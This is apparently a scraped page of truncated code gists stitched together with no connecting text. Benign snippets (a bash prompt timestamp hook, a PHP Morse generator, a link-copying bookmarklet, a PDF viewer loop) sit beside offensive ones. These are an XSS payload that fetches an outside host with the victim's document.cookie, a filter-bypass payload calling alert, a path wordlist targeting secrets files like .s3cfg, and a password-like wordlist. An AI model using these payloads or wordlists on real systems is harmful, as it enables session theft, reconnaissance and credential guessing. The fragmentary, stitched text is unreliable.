Guide to producing a chart like this one.
This is a bit of a hack job, natch.
Grab your Twitter archive and extract it. You need to find data/tweet-headers.js and make a copy of it:
cp data/tweet-headers.js tweets.json
| PROMPT_COMMAND='PS1_RUN_PREEXEC=1' | |
| preexec() { | |
| if [ -z "$PS1_RUN_PREEXEC" ]; then | |
| return | |
| fi | |
| unset PS1_RUN_PREEXEC | |
| echo $'\e[38;5;241m'"[$(date +'%Y-%m-%dT%H:%M:%S%z')]"$'\e[0m' | |
| } | |
| trap 'preexec' DEBUG |
| <?php | |
| // run as: php gen.php > morse.dat | |
| // then run gnuplot morse.gnuplot | |
| $f = new NumberFormatter("en", NumberFormatter::SPELLOUT); | |
| for ($i = 0; $i < 5000000; $i++){ | |
| $letters = strlen(morse($f->format($i))); | |
| $numbers = strlen((string) $i) * 5; |
Guide to producing a chart like this one.
This is a bit of a hack job, natch.
Grab your Twitter archive and extract it. You need to find data/tweet-headers.js and make a copy of it:
cp data/tweet-headers.js tweets.json
| Reflect.apply.call`${fetch}${window}${['https://poc.lol/?'+document.cookie]}` |
| https://twitter.com/intigriti/status/1399317852788830211 | |
| [][`flat`][`constructor`]`alert(document.domain)``` | |
| `${e}` => [object HTMLProgressElement] | |
| `${[]/[]}` => NaN | |
| `${[][[]]}` => undefined | |
| flat | |
| constructor |
| /.s3cfg | |
| /phpunit.xml | |
| /nginx.conf | |
| /.vimrc | |
| /LICENSE.md | |
| /yarn.lock | |
| /Gulpfile | |
| /Gulpfile.js | |
| /composer.json | |
| /.npmignore |
| 0Z0mQ130F65E8wD | |
| 1QAZXsw2 | |
| 3dodPaTXF5 | |
| 5E84F90 | |
| 5aQNxsB58752fNl | |
| 5ciuk1sy | |
| 5zkfAr9Y8k6qosP | |
| 8PuNNgp9wm2w | |
| 9Lug*96q | |
| 14mR00t |
| plain | |
| |
| javascript:d=document;b=d.createElement`textarea`;c=d.getSelection();b.textContent=[...d.querySelectorAll`div.r>a:first-child`].map(n=>n.href).join`\n`;d.body.appendChild(b);c.removeAllRanges();b.select();d.execCommand`copy`;d.body.removeChild(b) |
| #!/bin/bash | |
| dir=$1 | |
| if [ ! -d "$dir" ]; then | |
| echo "no dir" | |
| exit | |
| fi | |
| find "$dir" -type f -name "*.pdf" | sort | while read file; do | |
| evince -s "$file" |